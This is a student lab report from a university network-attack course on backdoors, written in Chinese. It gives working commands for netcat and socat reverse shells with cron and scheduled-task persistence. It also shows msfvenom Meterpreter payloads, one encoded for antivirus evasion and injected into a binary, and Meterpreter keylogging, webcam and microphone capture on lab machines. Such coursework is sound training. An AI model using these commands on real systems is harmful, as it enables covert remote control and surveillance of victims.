# 2019-2020-2 20175205侯颖《网络对抗技术》Exp2 后门原理与实践
2019-2020-2 20175205侯颖《网络对抗技术》Exp2 后门原理与实践
1. 实验内容明及预备知识
一、实验内容
-
任务一:使用netcat获取主机操作Shell,cron启动 (0.5分)
-
任务二:使用socat获取主机操作Shell, 任务计划启动 (0.5分)
-
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
-
任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
二、基础问题回答
- 例举你能想到的一个后门进入到你系统中的可能方式?
- 在非官网下载应用程序时,可能会捆绑一些其他软件,以此在系统中留后门。
- 例举你知道的后门如何启动起来(win及linux)的方式?
- Win:设置开机自启动项、修改注册表
- Linux:通过本实验的
crontab
将其设置为定时启动;对正常软件注入shellcode
- Meterpreter有哪些给你映像深刻的功能?
- 在主机植入后门后,可以直接控制主机的shell,甚至录音、录像等,通过键盘输入记录,可以轻松获取口令密码等信息
- 如何发现自己有系统有没有被安装后门?
- 安装杀毒软件,定时对系统进行检测
- 打开防火墙,查看是否有异常端口
2. 常用后门工具实践
任务一:Windows获得Linux Shell
1、 Windows:使用ipconfig
指令查看本机IP:192.168.62.1
2、 使用ncat.exe程序监听本机的5205
端口
3、 在Kali环境下,使用nc
指令的-e
选项反向连接Windows主机的5205
端口
4、 成功获得Kali的shell,如下图所示
任务二:Linux获得Windows Shell
1、 在Kali环境中使用ifconfig
查看IP:192.168.62.15
2、 使用nc
指令监听5205
端口
3、 在Windows下,使用ncat.exe程序的-e选项项反向连接Kali主机的5205端口
4、 Kali下可以看到Windows的命令提示,可以输入Windows命令
任务三:使用nc传输数据
1、 Windows下监听5205端口
2、 Kali下连接到Windows的5205端口
3、 建立连接之后,就可以传输数据了
4、 使用nc传输文件(Kali->Windows)
- Windows下监听5205端口,并把收到的数据保存到file1.out中,
ncat.exe -l 5205 > file1.out
- kali反弹连接到Windows的5205端口,
nc 192.168.62.1 5205 < file1.txt
- 连接建立成功,kali可以收到Windows发来的文件
3. Meterpreter
- 后门就是一个程序。
- 传统做法是:有人编写一个后门程序,其他人拿来用。
- 升级做法是:编写一个平台能生成后门程序
- 基本功能(基本的连接、执行指令)
- 扩展功能(搜集用户信息、安装服务等)
- 编码模式
- 运行平台
- 以及运行参数
- 全部做成零件或者可调整的参数,用的时候直接组合,生成一个可执行文件即可。
- 典型的平台包括
- intersect
- Metaspolit的msfvenom指令
- Veil-evasion
- 学习如何使用msfvenom生成后门可执行文件Meterpreter
- 参数说明
-p
使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.-x
使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。-e
使用的编码器,用于对shellcode变形,为了免杀。-i
编码器的迭代次数。如上即使用该编码器编码5次。-b
badchar是payload中需要去除的字符。LHOST
是反弹回连的IPLPORT
是回连的端口-f
生成文件的类型>
输出到哪个文件
4. 实验步骤
任务一:使用netcat获取主机操作Shell,cron启动
1、 在Windows系统下,监听5205
端口
2、 在Kali环境下,用crontab -e
指令编辑一条定时任务
crontab
指令增加一条定时任务-e
表示编辑- 选择编辑器时选择3
3、 在最后一行添加15 * * * * /bin/netcat 192.168.62.1 5205 -e /bin/sh
意思是,每个小时的第15分钟反向连接Windows主机的5205端口
4、 当时间到了11点15时,此时已经获得了Kali的shell,可以输入指令
任务二:使用socat获取主机操作Shell, 任务计划启动
1、 预备知识:
socat
是ncat
的增强版,它使用的格式是socat [options] <address> <address>
,其中两个address是必选项,而options 是可选项。socat
的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address
就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
2、 Win+R
输入compmgmt.msc
打开“计算机管理”
3、 在“任务计划程序”中“创建任务”
4、 填写任务名称,并新建一个触发器
5、 在操作->新建->程序或脚本中选择你的socat.exe
文件的路径,在添加参数一栏填写tcp-listen:5205 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe
绑定到端口5205
,同时把cmd.exe
的stderr
重定向到stdout
上:
6、 创建完成之后,按Windows+L
快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行
7、 此时,在Kali环境下输入指令socat - tcp:192.168.62.1:5205
- 这里的第一个参数
-
代表标准的输入输出 - 第二个流连接到Windows主机的
5205
端口 - 此时可以发现已经成功获得了一个cmd shell
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
1、 在Kali上执行指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.62.15 LPORT=5205 -f exe > 20175205_backdoor.exe
- IP地址为控制端IP,即Linux的IP
- 生成了后门程序:
20175205_backdoor.exe
2、 通过ncat.exe -lv 5205 > 20175205_backdoor.exe
指令将被控制主机进入接受文件模式
3、 在Linux中执行nc 192.168.62.1 5205 < 20175205_backdoor.exe
,注意这里的IP为被控主机IP,即WindowsIP
4、 传送接收文件成功
5、 在Kali上使用msfconsole
指令进入msf控制台
- 输入
use exploit/multi/handler
使用监听模块,设置payload set payload windows/meterpreter/reverse_tcp
,使用和生成后门程序时相同的payloadset LHOST 192.168.62.15
,这里用的是LinuxIP,和生成后门程序时指定的IP相同set LPORT 5205
,同样要使用相同的端口
6、 设置完成后,执行监听
7、 运行Windows下的后门程序
8、 此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell
任务四:使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容
1、 使用record_mic
指令可以截获一段音频
2、 使用webcam_snap
指令可以使用摄像头进行拍照
效果如下:
3、 使用keyscan_start
指令开始记录下击键的过程,使用keyscan_dump
指令读取击键的记录
4、 使用screenshot
指令可以进行截屏
效果如下:
任务五:可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
1、 在实验指导书中:
msfvenom -p windows/meterpreter/reverse_tcp -x ./KiTTYPortable.exe -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > KiTTy_backdoor.exe
2、 在参数说明中提到,-p
使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp
就是一段shellcode。实验一的pwn1在linux下运行,因此代码改为
msfvenom -p linux/meterpreter/reverse_tcp····
3、 -x
使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中,因此将该文件修改为pwn1
,因此代码变成
msfvenom -p linux/meterpreter/reverse_tcp -x ./pwn1···
4、 修改LHOST、LPORT
为Kali的ip地址和端口,因此代码变成
msfvenom -p linux/meterpreter/reverse_tcp -x ./pwn1 -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.62.15 LPORT=5205···
5、 -f
生成文件的类型,使用file pwn1
得知pwn1的文件类型是elf
,因此代码调整为
msfvenom -p linux/meterpreter/reverse_tcp -x ./pwn1 -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.62.15 LPORT=5205 -f elf···
6、 >
输出到哪个文件,将最后生成的文件改为pwn5,代码调整为
msfvenom -p linux/meterpreter/reverse_tcp -x ./pwn1 -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.62.15 LPORT=5205 -f elf > pwn5
7、 报错Error: invalid payload: linux/meterpreter/reverse_tcp
,通过查询资料得知应为
msfvenom -p linux/x86.meterpreter···
8、 好不容易改了一个错误,又发现了一个编码问题,Error: incompatible character encodings: UTF-8 and ASCII-8BIT
,然后我将代码涉及到编码的参数-i -b
都删掉,变为如下形式就不报错了
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.62.15 LPORT=4444 -x pwn1 -f elf > pwn5
9、 任务三进行监听,然后运行pwn5,得到正确运行结果
5. 实验中遇到的问题及解决方法
Q1:bash: ifconfig:未找到命令
,因此就使用该命令下载sudo apt-get install net-tools
,但是结果仍找不到命令
A1:
- 首先查看ifconfig命令在那个目录下,顺便检查是否安装了这个命令;
whereis ifconfig
- 然后查看PATH中是否包含了这个目录,一般情况下是不包含的,只要添加进去就可;
echo $PATH
- 添加路径,之后就可以正常使用了。
export PATH=$PATH:/sbin
Q2:msfconsole启动失败cannot load such file -- bundler/setup
A2:据网上资料可知这是由于bundler版本不一致所造成的,所以需要重新找来1.17.3版本
使用命令:gem install bundler:1.17.3
(若无法下载,改用su)
6. 实验总结及体会
通过本次实验我明白了后门的基本原理,按照老师的教程和学长学姐的博客一步步完成实验。感觉本次实验更加刺激有意思,了解到后门的厉害,但是也同时感到阔怕,有可能自己的电脑早就被植入好多个后门了,入侵过无数次,因此我们平时也要多注意网上安全,留意恶意程序。